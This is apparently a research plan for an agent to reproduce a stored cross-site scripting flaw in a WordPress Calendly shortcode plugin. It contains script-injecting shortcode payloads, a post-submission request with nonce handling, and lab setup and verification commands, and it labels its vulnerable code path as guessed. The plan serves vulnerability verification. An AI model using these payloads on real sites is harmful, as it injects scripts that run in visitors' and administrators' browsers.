UseStrict's Calendly Embedder <= 1.1.7.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

This research plan focuses on CVE-2025-67555, a Stored Cross-Site Scripting (XSS) vulnerability in the UseStrict's Calendly Embedder plugin. This vulnerability allows an authenticated attacker with Contributor-level permissions or higher to inject malicious scripts into posts or pages via shortcode attributes.

---

1. Vulnerability Summary

• Vulnerability: Stored Cross-Site Scripting (XSS)
• Plugin Slug: cal-embedder-lite
• Affected Versions: <= 1.1.7.2
• Vulnerable Component: Shortcode rendering logic.
• Root Cause: The plugin registers a shortcode (likely [calendly]) and fails to sanitize or escape the attributes (such as url, text, or type) before outputting them into the HTML of a page.

2. Attack Vector Analysis

• Endpoint: WordPress Post Editor (/wp-admin/post-new.php or /wp-admin/post.php)
• Role Required: Contributor, Author, Editor, or Admin.
• Payload Carrier: Shortcode attributes within the post content.
• Preconditions: The plugin must be active. A user with at least Contributor permissions must be able to create or edit a post.

3. Code Flow (Inferred)

1. Registration: The plugin uses add_shortcode( 'calendly', 'render_calendly_shortcode' ) (function names inferred) to handle the [calendly] shortcode.
2. Input Handling: The rendering function receives an $atts array containing user-defined values (e.g., [calendly url="..."]).
3. Processing: The function likely merges these with default values using shortcode_atts().
4. Sink: The function constructs an HTML string (either a div for inline embeds or an <a> tag for popup/button types). It concatenates the attribute values directly into the HTML string.
5. Execution: The unescaped HTML is returned to WordPress and rendered on the frontend.
   • Example Vulnerable Pattern:

     function render_calendly_shortcode($atts) {
         $a = shortcode_atts(array('url' => ''), $atts);
         // VULNERABLE: Direct concatenation without esc_url or esc_attr
         return '<div class="calendly-inline-widget" data-url="' . $a['url'] . '"></div>';
     }
     

4. Nonce Acquisition Strategy

This vulnerability is exploited through the standard WordPress post-saving mechanism.

1. No Specific Plugin Nonce: Because the injection happens via a shortcode in the post content, the attacker relies on the built-in WordPress _wpnonce used for saving/updating posts.
2. Contributor Access: Since the attacker is already authenticated as a Contributor, they can obtain a post-editing nonce by navigating to /wp-admin/post-new.php.
3. Manual/Automated Post Creation: The exploitation agent can use wp post create or the http_request tool to submit a post. If using http_request, the _wpnonce must be extracted from the post editor HTML.

5. Exploitation Strategy

The goal is to inject a payload that breaks out of an HTML attribute or tag to execute JavaScript.

Step 1: Identify the Shortcode and Attributes
Scan the plugin source code to find the shortcode tag and its available attributes.

• Command: grep -rn "add_shortcode" /var/www/html/wp-content/plugins/cal-embedder-lite/

Step 2: Craft the Payload
Depending on how the attribute is reflected, use one of the following:

• Attribute Breakout (if reflected in data-url or href):
  url='"><script>alert(document.domain)</script>'
• Event Handler Injection:
  url='x" onmouseover="alert(1)"'
• Button Text XSS (if the plugin supports button types):
  type="button" text="<img src=x onerror=alert(1)>"

Step 3: Create the Post
Use the http_request tool to submit a post containing the malicious shortcode as a Contributor.

• URL: https://[TARGET]/wp-admin/post.php (POST)
• Body (URL Encoded):

  action=editpost
  &post_ID=[POST_ID]
  &post_title=CalendlyTest
  &content=[calendly url='"><script>alert(document.domain)</script>']
  &_wpnonce=[NONCE]
  

Step 4: Trigger the XSS
Navigate to the published post URL using the browser_navigate tool.

6. Test Data Setup

1. User Creation: Create a Contributor user.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
2. Plugin Activation: Ensure cal-embedder-lite is active.
3. Initial Post: Create a draft post to get a post_ID.
   • wp post create --post_type=post --post_status=draft --post_author=[USER_ID]

7. Expected Results

• When a user (including an Administrator) views the page containing the shortcode, the browser will render the injected <script> tag.
• An alert box appearing with the domain name confirms the Stored XSS.
• The HTML source of the page will show the payload unescaped: <div ... data-url=""><script>alert(document.domain)</script>"></div>.

8. Verification Steps

1. CLI Verification: Verify the content of the post contains the payload.
   • wp post get [POST_ID] --field=post_content
2. Frontend Inspection: Use the http_request tool to fetch the frontend page and check for the presence of the raw payload in the HTML response.
   • grep -q "<script>alert(document.domain)</script>" response_body

9. Alternative Approaches

• Popup Type: If the inline type uses esc_url but the popup or button type uses a text attribute that is unescaped, target those.
  • [calendly type="button" text="Click Me<script>alert(1)</script>"]
• Styles Injection: If the plugin allows a color attribute, attempt to break out of the style attribute.
  • [calendly color='red;background:url("javascript:alert(1)")']